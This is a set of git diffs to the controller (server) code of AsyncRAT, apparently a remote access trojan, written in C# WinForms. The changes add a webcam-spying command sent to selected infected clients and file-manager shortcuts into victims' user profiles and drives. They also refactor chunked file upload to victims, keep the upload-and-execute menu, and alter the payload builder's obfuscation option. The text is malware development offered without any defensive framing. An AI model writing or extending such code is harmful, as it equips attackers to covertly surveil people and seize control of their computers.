lv.SubItems.Add("0"); lv.SubItems.Add("0");
@ -1238,5 +1251,40 @@ namespace Server
catch { } catch { }
} }
} }
private void WebcamToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "webcam";
msgpack.ForcePathObject("Command").AsString = "getWebcams";
foreach (ListViewItem itm in listView1.SelectedItems)
{
Clients client = (Clients)itm.Tag;
this.BeginInvoke((MethodInvoker)(() =>
{
FormWebcam remoteDesktop = (FormWebcam)Application.OpenForms["Webcam:" + client.ID];
if (remoteDesktop == null)
{
remoteDesktop = new FormWebcam
{
Name = "Webcam:" + client.ID,
F = this,
Text = "Webcam:" + client.ID,
ParentClient = client,
FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "Camera")
};
remoteDesktop.Show();
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
}));
}
}
catch { }
}
}
} }
} }

View File

@ -88,8 +88,8 @@ namespace Server.Forms
this.btnIcon = new System.Windows.Forms.Button(); this.btnIcon = new System.Windows.Forms.Button();
this.picIcon = new System.Windows.Forms.PictureBox(); this.picIcon = new System.Windows.Forms.PictureBox();
this.tabPage6 = new System.Windows.Forms.TabPage(); this.tabPage6 = new System.Windows.Forms.TabPage();
this.btnBuild = new System.Windows.Forms.Button();
this.chkObfu = new System.Windows.Forms.CheckBox(); this.chkObfu = new System.Windows.Forms.CheckBox();
this.btnBuild = new System.Windows.Forms.Button();
this.groupBox1.SuspendLayout(); this.groupBox1.SuspendLayout();
this.groupBox2.SuspendLayout(); this.groupBox2.SuspendLayout();
this.groupBox3.SuspendLayout(); this.groupBox3.SuspendLayout();
@ -720,6 +720,16 @@ namespace Server.Forms
this.tabPage6.Text = "Build"; this.tabPage6.Text = "Build";
this.tabPage6.UseVisualStyleBackColor = true; this.tabPage6.UseVisualStyleBackColor = true;
// //
// chkObfu
//
this.chkObfu.AutoSize = true;
this.chkObfu.Location = new System.Drawing.Point(18, 148);
this.chkObfu.Name = "chkObfu";
this.chkObfu.Size = new System.Drawing.Size(166, 24);
this.chkObfu.TabIndex = 2;
this.chkObfu.Text = "Simple Obfuscator";
this.chkObfu.UseVisualStyleBackColor = true;
//
// btnBuild // btnBuild
// //
this.btnBuild.Location = new System.Drawing.Point(18, 196); this.btnBuild.Location = new System.Drawing.Point(18, 196);
@ -730,18 +740,6 @@ namespace Server.Forms
this.btnBuild.UseVisualStyleBackColor = true; this.btnBuild.UseVisualStyleBackColor = true;
this.btnBuild.Click += new System.EventHandler(this.BtnBuild_Click); this.btnBuild.Click += new System.EventHandler(this.BtnBuild_Click);
// //
// chkObfu
//
this.chkObfu.AutoSize = true;
this.chkObfu.Checked = true;
this.chkObfu.CheckState = System.Windows.Forms.CheckState.Checked;
this.chkObfu.Location = new System.Drawing.Point(18, 148);
this.chkObfu.Name = "chkObfu";
this.chkObfu.Size = new System.Drawing.Size(166, 24);
this.chkObfu.TabIndex = 2;
this.chkObfu.Text = "Simple Obfuscator";
this.chkObfu.UseVisualStyleBackColor = true;
//
// FormBuilder // FormBuilder
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);

View File

@ -3,7 +3,7 @@ using System.Windows.Forms;
using Server.Helper; using Server.Helper;
using System.Text; using System.Text;
using System.Security.Cryptography; using System.Security.Cryptography;
using Server.Cryptography; using Server.Algorithm;
using System.Security.Cryptography.X509Certificates; using System.Security.Cryptography.X509Certificates;
using System.Collections.Generic; using System.Collections.Generic;
using Vestris.ResourceLib; using Vestris.ResourceLib;
@ -13,6 +13,7 @@ using System.Linq;
using dnlib.DotNet.Emit; using dnlib.DotNet.Emit;
using Server.RenamingObfuscation; using Server.RenamingObfuscation;
using System.Threading.Tasks; using System.Threading.Tasks;
using System.Diagnostics;
namespace Server.Forms namespace Server.Forms
{ {

View File

@ -53,7 +53,7 @@
this.button1.Location = new System.Drawing.Point(11, 129); this.button1.Location = new System.Drawing.Point(11, 129);
this.button1.Name = "button1"; this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(149, 39); this.button1.Size = new System.Drawing.Size(149, 39);
this.button1.TabIndex = 2; this.button1.TabIndex = 0;
this.button1.Text = "OK"; this.button1.Text = "OK";
this.button1.UseVisualStyleBackColor = true; this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new System.EventHandler(this.Button1_Click); this.button1.Click += new System.EventHandler(this.Button1_Click);

View File

@ -1,5 +1,5 @@
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using Microsoft.VisualBasic; using Microsoft.VisualBasic;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
@ -17,7 +17,7 @@ namespace Server.Forms
public partial class FormChat : Form public partial class FormChat : Form
{ {
public Form1 F { get; set; } public Form1 F { get; set; }
internal Clients C { get; set; } internal Clients Client { get; set; }
private string Nickname = "Admin"; private string Nickname = "Admin";
public FormChat() public FormChat()
{ {
@ -32,7 +32,7 @@ namespace Server.Forms
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "chatWriteInput"; msgpack.ForcePathObject("Packet").AsString = "chatWriteInput";
msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text; msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text;
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
textBox1.Clear(); textBox1.Clear();
} }
} }
@ -47,7 +47,7 @@ namespace Server.Forms
Nickname = nick; Nickname = nick;
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "chat"; msgpack.ForcePathObject("Packet").AsString = "chat";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
} }
@ -55,12 +55,16 @@ namespace Server.Forms
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "chatExit"; msgpack.ForcePathObject("Packet").AsString = "chatExit";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
private void Timer1_Tick(object sender, EventArgs e) private void Timer1_Tick(object sender, EventArgs e)
{ {
if (!C.ClientSocket.Connected) this.Close(); try
{
if (!Client.TcpClient.Connected) this.Close();
}
catch { }
} }
} }
} }

View File

@ -1,5 +1,5 @@
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.ComponentModel; using System.ComponentModel;

View File

@ -11,7 +11,7 @@ using System.Threading;
using System.Threading.Tasks; using System.Threading.Tasks;
using System.Windows.Forms; using System.Windows.Forms;
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using FastColoredTextBoxNS; using FastColoredTextBoxNS;
using Microsoft.CSharp; using Microsoft.CSharp;
using Microsoft.VisualBasic; using Microsoft.VisualBasic;
@ -324,6 +324,10 @@ End Namespace
{ {
MessageBox.Show(ex.Message, "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); MessageBox.Show(ex.Message, "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
} }
finally
{
//GC.Collect();
}
} }
} }
} }

View File

@ -1,4 +1,4 @@
using Server.Sockets; using Server.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.ComponentModel; using System.ComponentModel;
@ -13,29 +13,30 @@ using System.IO;
using System.Net.Sockets; using System.Net.Sockets;
using Timer = System.Threading.Timer; using Timer = System.Threading.Timer;
using Server.Helper; using Server.Helper;
using Server.Algorithm;
namespace Server.Forms namespace Server.Forms
{ {
public partial class FormDownloadFile : Form public partial class FormDownloadFile : Form
{ {
public Form1 F { get; set; }
internal Clients Client { get; set; }
public long FileSize = 0;
private long BytesSent = 0;
public string FullFileName;
public string ClientFullFileName;
private bool IsUpload = false;
public FormDownloadFile() public FormDownloadFile()
{ {
InitializeComponent(); InitializeComponent();
} }
public Form1 F { get; set; }
internal Clients C { get; set; }
public long dSize = 0;
private long BytesSent = 0;
public string fullFileName;
public string clientFullFileName;
private bool isUpload = false;
private void timer1_Tick(object sender, EventArgs e) private void timer1_Tick(object sender, EventArgs e)
{ {
if (!isUpload) if (!IsUpload)
{ {
labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}"; labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(Client.BytesRecevied)}";
if (C.BytesRecevied >= dSize) if (Client.BytesRecevied >= FileSize)
{ {
labelsize.Text = "Downloaded"; labelsize.Text = "Downloaded";
labelsize.ForeColor = Color.Green; labelsize.ForeColor = Color.Green;
@ -44,8 +45,8 @@ namespace Server.Forms
} }
else else
{ {
labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(BytesSent)}"; labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(BytesSent)}";
if (BytesSent >= dSize) if (BytesSent >= FileSize)
{ {
labelsize.Text = "Uploaded"; labelsize.Text = "Uploaded";
labelsize.ForeColor = Color.Green; labelsize.ForeColor = Color.Green;
@ -58,7 +59,7 @@ namespace Server.Forms
{ {
try try
{ {
C?.Disconnected(); Client?.Disconnected();
timer1?.Dispose(); timer1?.Dispose();
} }
catch { } catch { }
@ -66,33 +67,31 @@ namespace Server.Forms
public void Send(object obj) public void Send(object obj)
{ {
lock (C.SendSync) lock (Client.SendSync)
{ {
try try
{ {
isUpload = true; IsUpload = true;
byte[] msg = (byte[])obj; byte[] msg = (byte[])obj;
byte[] buffersize = BitConverter.GetBytes(msg.Length); byte[] buffersize = BitConverter.GetBytes(msg.Length);
C.ClientSocket.Poll(-1, SelectMode.SelectWrite); Client.TcpClient.Poll(-1, SelectMode.SelectWrite);
C.ClientSslStream.Write(buffersize); Client.SslClient.Write(buffersize);
C.ClientSslStream.Flush(); Client.SslClient.Flush();
int chunkSize = 50 * 1024; int chunkSize = 50 * 1024;
byte[] chunk = new byte[chunkSize]; byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg)) using (MemoryStream buffereReader = new MemoryStream(msg))
using (BinaryReader binaryReader = new BinaryReader(buffereReader))
{ {
BinaryReader binaryReader = new BinaryReader(buffereReader);
int bytesToRead = (int)buffereReader.Length; int bytesToRead = (int)buffereReader.Length;
do do
{ {
chunk = binaryReader.ReadBytes(chunkSize); chunk = binaryReader.ReadBytes(chunkSize);
bytesToRead -= chunkSize; bytesToRead -= chunkSize;
C.ClientSslStream.Write(chunk); Client.SslClient.Write(chunk);
C.ClientSslStream.Flush(); Client.SslClient.Flush();
BytesSent += chunk.Length; BytesSent += chunk.Length;
} while (bytesToRead > 0); } while (bytesToRead > 0);
Client?.Disconnected();
binaryReader.Close();
C?.Disconnected();
} }
Program.form1.BeginInvoke((MethodInvoker)(() => Program.form1.BeginInvoke((MethodInvoker)(() =>
{ {
@ -101,7 +100,12 @@ namespace Server.Forms
} }
catch catch
{ {
C?.Disconnected(); Client?.Disconnected();
Program.form1.BeginInvoke((MethodInvoker)(() =>
{
labelsize.Text = "Error";
labelsize.ForeColor = Color.Red;
}));
} }
} }
} }

View File

@ -39,6 +39,9 @@
this.gOTOToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.gOTOToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.dESKTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.dESKTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.aPPDATAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.aPPDATAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.userProfileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator();
this.driversListsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.uPLOADToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.uPLOADToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@ -55,6 +58,8 @@
this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel();
this.timer1 = new System.Windows.Forms.Timer(this.components); this.timer1 = new System.Windows.Forms.Timer(this.components);
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuStrip1.SuspendLayout(); this.contextMenuStrip1.SuspendLayout();
this.statusStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout();
this.SuspendLayout(); this.SuspendLayout();
@ -97,21 +102,23 @@
this.pasteToolStripMenuItem, this.pasteToolStripMenuItem,
this.dELETEToolStripMenuItem, this.dELETEToolStripMenuItem,
this.toolStripSeparator4, this.toolStripSeparator4,
this.createFolderToolStripMenuItem}); this.createFolderToolStripMenuItem,
this.toolStripSeparator3,
this.openClientFolderToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1"; this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(190, 368); this.contextMenuStrip1.Size = new System.Drawing.Size(241, 439);
// //
// backToolStripMenuItem // backToolStripMenuItem
// //
this.backToolStripMenuItem.Name = "backToolStripMenuItem"; this.backToolStripMenuItem.Name = "backToolStripMenuItem";
this.backToolStripMenuItem.Size = new System.Drawing.Size(189, 32); this.backToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
this.backToolStripMenuItem.Text = "Back"; this.backToolStripMenuItem.Text = "Back";
this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click); this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click);
// //
// rEFRESHToolStripMenuItem // rEFRESHToolStripMenuItem
// //
this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem"; this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem";
this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(189, 32); this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
this.rEFRESHToolStripMenuItem.Text = "Refresh"; this.rEFRESHToolStripMenuItem.Text = "Refresh";
this.rEFRESHToolStripMenuItem.Click += new System.EventHandler(this.rEFRESHToolStripMenuItem_Click); this.rEFRESHToolStripMenuItem.Click += new System.EventHandler(this.rEFRESHToolStripMenuItem_Click);
// //
@ -119,88 +126,110 @@
// //
this.gOTOToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.gOTOToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.dESKTOPToolStripMenuItem, this.dESKTOPToolStripMenuItem,
this.aPPDATAToolStripMenuItem}); this.aPPDATAToolStripMenuItem,
this.userProfileToolStripMenuItem,
this.toolStripSeparator2,
this.driversListsToolStripMenuItem});
this.gOTOToolStripMenuItem.Name = "gOTOToolStripMenuItem"; this.gOTOToolStripMenuItem.Name = "gOTOToolStripMenuItem";
this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(189, 32); this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
this.gOTOToolStripMenuItem.Text = "Go To"; this.gOTOToolStripMenuItem.Text = "Go To";
// //
// dESKTOPToolStripMenuItem // dESKTOPToolStripMenuItem
// //
this.dESKTOPToolStripMenuItem.Name = "dESKTOPToolStripMenuItem"; this.dESKTOPToolStripMenuItem.Name = "dESKTOPToolStripMenuItem";
this.dESKTOPToolStripMenuItem.Size = new System.Drawing.Size(192, 34); this.dESKTOPToolStripMenuItem.Size = new System.Drawing.Size(204, 34);
this.dESKTOPToolStripMenuItem.Text = "DESKTOP"; this.dESKTOPToolStripMenuItem.Text = "Desktop";
this.dESKTOPToolStripMenuItem.Click += new System.EventHandler(this.DESKTOPToolStripMenuItem_Click); this.dESKTOPToolStripMenuItem.Click += new System.EventHandler(this.DESKTOPToolStripMenuItem_Click);
// //
// aPPDATAToolStripMenuItem // aPPDATAToolStripMenuItem
// //
this.aPPDATAToolStripMenuItem.Name = "aPPDATAToolStripMenuItem"; this.aPPDATAToolStripMenuItem.Name = "aPPDATAToolStripMenuItem";
this.aPPDATAToolStripMenuItem.Size = new System.Drawing.Size(192, 34); this.aPPDATAToolStripMenuItem.Size = new System.Drawing.Size(204, 34);
this.aPPDATAToolStripMenuItem.Text = "APPDATA"; this.aPPDATAToolStripMenuItem.Text = "AppData";
this.aPPDATAToolStripMenuItem.Click += new System.EventHandler(this.APPDATAToolStripMenuItem_Click); this.aPPDATAToolStripMenuItem.Click += new System.EventHandler(this.APPDATAToolStripMenuItem_Click);
// //
// userProfileToolStripMenuItem
//
this.userProfileToolStripMenuItem.Name = "userProfileToolStripMenuItem";
this.userProfileToolStripMenuItem.Size = new System.Drawing.Size(204, 34);
this.userProfileToolStripMenuItem.Text = "User Profile";
this.userProfileToolStripMenuItem.Click += new System.EventHandler(this.UserProfileToolStripMenuItem_Click);
//
// toolStripSeparator2
//
this.toolStripSeparator2.Name = "toolStripSeparator2";
this.toolStripSeparator2.Size = new System.Drawing.Size(201, 6);
//
// driversListsToolStripMenuItem
//
this.driversListsToolStripMenuItem.Name = "driversListsToolStripMenuItem";
this.driversListsToolStripMenuItem.Size = new System.Drawing.Size(204, 34);
this.driversListsToolStripMenuItem.Text = "Drivers";
this.driversListsToolStripMenuItem.Click += new System.EventHandler(this.DriversListsToolStripMenuItem_Click);
//
// toolStripSeparator1 // toolStripSeparator1
// //
this.toolStripSeparator1.Name = "toolStripSeparator1"; this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new System.Drawing.Size(186, 6); this.toolStripSeparator1.Size = new System.Drawing.Size(237, 6);
// //
// downloadToolStripMenuItem // downloadToolStripMenuItem
// //
this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
this.downloadToolStripMenuItem.Size = new System.Drawing.Size(189, 32); this.downloadToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
this.downloadToolStripMenuItem.Text = "Download"; this.downloadToolStripMenuItem.Text = "Download";
this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click); this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click);
// //
// uPLOADToolStripMenuItem // uPLOADToolStripMenuItem
// //
this.uPLOADToolStripMenuItem.Name = "uPLOADToolStripMenuItem"; this.uPLOADToolStripMenuItem.Name = "uPLOADToolStripMenuItem";
this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(189, 32); this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
this.uPLOADToolStripMenuItem.Text = "Upload"; this.uPLOADToolStripMenuItem.Text = "Upload";
this.uPLOADToolStripMenuItem.Click += new System.EventHandler(this.uPLOADToolStripMenuItem_Click); this.uPLOADToolStripMenuItem.Click += new System.EventHandler(this.uPLOADToolStripMenuItem_Click);
// //
// eXECUTEToolStripMenuItem // eXECUTEToolStripMenuItem
// //
this.eXECUTEToolStripMenuItem.Name = "eXECUTEToolStripMenuItem"; this.eXECUTEToolStripMenuItem.Name = "eXECUTEToolStripMenuItem";
this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(189, 32); this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
this.eXECUTEToolStripMenuItem.Text = "Execute"; this.eXECUTEToolStripMenuItem.Text = "Execute";
this.eXECUTEToolStripMenuItem.Click += new System.EventHandler(this.eXECUTEToolStripMenuItem_Click); this.eXECUTEToolStripMenuItem.Click += new System.EventHandler(this.eXECUTEToolStripMenuItem_Click);
// //
// renameToolStripMenuItem // renameToolStripMenuItem
// //
this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
this.renameToolStripMenuItem.Size = new System.Drawing.Size(189, 32); this.renameToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
this.renameToolStripMenuItem.Text = "Rename"; this.renameToolStripMenuItem.Text = "Rename";
this.renameToolStripMenuItem.Click += new System.EventHandler(this.RenameToolStripMenuItem_Click); this.renameToolStripMenuItem.Click += new System.EventHandler(this.RenameToolStripMenuItem_Click);
// //
// copyToolStripMenuItem // copyToolStripMenuItem
// //
this.copyToolStripMenuItem.Name = "copyToolStripMenuItem"; this.copyToolStripMenuItem.Name = "copyToolStripMenuItem";
this.copyToolStripMenuItem.Size = new System.Drawing.Size(189, 32); this.copyToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
this.copyToolStripMenuItem.Text = "Copy"; this.copyToolStripMenuItem.Text = "Copy";
this.copyToolStripMenuItem.Click += new System.EventHandler(this.CopyToolStripMenuItem_Click); this.copyToolStripMenuItem.Click += new System.EventHandler(this.CopyToolStripMenuItem_Click);
// //
// pasteToolStripMenuItem // pasteToolStripMenuItem
// //
this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem"; this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem";
this.pasteToolStripMenuItem.Size = new System.Drawing.Size(189, 32); this.pasteToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
this.pasteToolStripMenuItem.Text = "Paste"; this.pasteToolStripMenuItem.Text = "Paste";
this.pasteToolStripMenuItem.Click += new System.EventHandler(this.PasteToolStripMenuItem_Click_1); this.pasteToolStripMenuItem.Click += new System.EventHandler(this.PasteToolStripMenuItem_Click_1);
// //
// dELETEToolStripMenuItem // dELETEToolStripMenuItem
// //
this.dELETEToolStripMenuItem.Name = "dELETEToolStripMenuItem"; this.dELETEToolStripMenuItem.Name = "dELETEToolStripMenuItem";
this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(189, 32); this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
this.dELETEToolStripMenuItem.Text = "Delete"; this.dELETEToolStripMenuItem.Text = "Delete";
this.dELETEToolStripMenuItem.Click += new System.EventHandler(this.dELETEToolStripMenuItem_Click); this.dELETEToolStripMenuItem.Click += new System.EventHandler(this.dELETEToolStripMenuItem_Click);
// //
// toolStripSeparator4 // toolStripSeparator4
// //
this.toolStripSeparator4.Name = "toolStripSeparator4"; this.toolStripSeparator4.Name = "toolStripSeparator4";
this.toolStripSeparator4.Size = new System.Drawing.Size(186, 6); this.toolStripSeparator4.Size = new System.Drawing.Size(237, 6);
// //
// createFolderToolStripMenuItem // createFolderToolStripMenuItem
// //
this.createFolderToolStripMenuItem.Name = "createFolderToolStripMenuItem"; this.createFolderToolStripMenuItem.Name = "createFolderToolStripMenuItem";
this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(189, 32); this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
this.createFolderToolStripMenuItem.Text = "Create Folder"; this.createFolderToolStripMenuItem.Text = "Create Folder";
this.createFolderToolStripMenuItem.Click += new System.EventHandler(this.CreateFolderToolStripMenuItem_Click); this.createFolderToolStripMenuItem.Click += new System.EventHandler(this.CreateFolderToolStripMenuItem_Click);
// //
@ -214,6 +243,7 @@
// //
// statusStrip1 // statusStrip1
// //
this.statusStrip1.AutoSize = false;
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.toolStripStatusLabel1, this.toolStripStatusLabel1,
@ -250,6 +280,18 @@
this.timer1.Interval = 1000; this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
// //
// toolStripSeparator3
//
this.toolStripSeparator3.Name = "toolStripSeparator3";
this.toolStripSeparator3.Size = new System.Drawing.Size(237, 6);
//
// openClientFolderToolStripMenuItem
//
this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem";
this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
this.openClientFolderToolStripMenuItem.Text = "Open Client Folder";
this.openClientFolderToolStripMenuItem.Click += new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click);
//
// FormFileManager // FormFileManager
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
@ -264,7 +306,6 @@
this.statusStrip1.ResumeLayout(false); this.statusStrip1.ResumeLayout(false);
this.statusStrip1.PerformLayout(); this.statusStrip1.PerformLayout();
this.ResumeLayout(false); this.ResumeLayout(false);
this.PerformLayout();
} }
@ -295,5 +336,10 @@
private System.Windows.Forms.ToolStripMenuItem pasteToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem pasteToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem;
public System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel3; public System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel3;
private System.Windows.Forms.ToolStripMenuItem userProfileToolStripMenuItem;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator2;
private System.Windows.Forms.ToolStripMenuItem driversListsToolStripMenuItem;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator3;
private System.Windows.Forms.ToolStripMenuItem openClientFolderToolStripMenuItem;
} }
} }

View File

@ -1,24 +1,25 @@
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using System; using System;
using System.Windows.Forms; using System.Windows.Forms;
using System.Threading; using System.Threading;
using System.IO; using System.IO;
using Microsoft.VisualBasic; using Microsoft.VisualBasic;
using System.Text; using System.Text;
using System.Drawing;
using System.Diagnostics;
namespace Server.Forms namespace Server.Forms
{ {
public partial class FormFileManager : Form public partial class FormFileManager : Form
{ {
public Form1 F { get; set; }
internal Clients Client { get; set; }
public string FullPath { get; set; }
public FormFileManager() public FormFileManager()
{ {
InitializeComponent(); InitializeComponent();
} }
public Form1 F { get; set; }
internal Clients C { get; set; }
private void listView1_DoubleClick(object sender, EventArgs e) private void listView1_DoubleClick(object sender, EventArgs e)
{ {
try try
@ -29,8 +30,10 @@ namespace Server.Forms
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Command").AsString = "getPath";
msgpack.ForcePathObject("Path").AsString = listView1.SelectedItems[0].ToolTipText; msgpack.ForcePathObject("Path").AsString = listView1.SelectedItems[0].ToolTipText;
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); listView1.Enabled = false;
//toolStripStatusLabel1.Text = listView1.SelectedItems[0].ToolTipText; toolStripStatusLabel3.ForeColor = Color.Green;
toolStripStatusLabel3.Text = "Please Wait";
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
} }
catch catch
@ -50,15 +53,14 @@ namespace Server.Forms
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getDrivers"; msgpack.ForcePathObject("Command").AsString = "getDrivers";
toolStripStatusLabel1.Text = ""; toolStripStatusLabel1.Text = "";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
return; return;
} }
path = path.Remove(path.LastIndexOfAny(new char[] { '\\' }, path.LastIndexOf('\\'))); path = path.Remove(path.LastIndexOfAny(new char[] { '\\' }, path.LastIndexOf('\\')));
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Command").AsString = "getPath";
msgpack.ForcePathObject("Path").AsString = path + "\\"; msgpack.ForcePathObject("Path").AsString = path + "\\";
//toolStripStatusLabel1.Text = path; ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
} }
catch catch
{ {
@ -66,7 +68,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getDrivers"; msgpack.ForcePathObject("Command").AsString = "getDrivers";
toolStripStatusLabel1.Text = ""; toolStripStatusLabel1.Text = "";
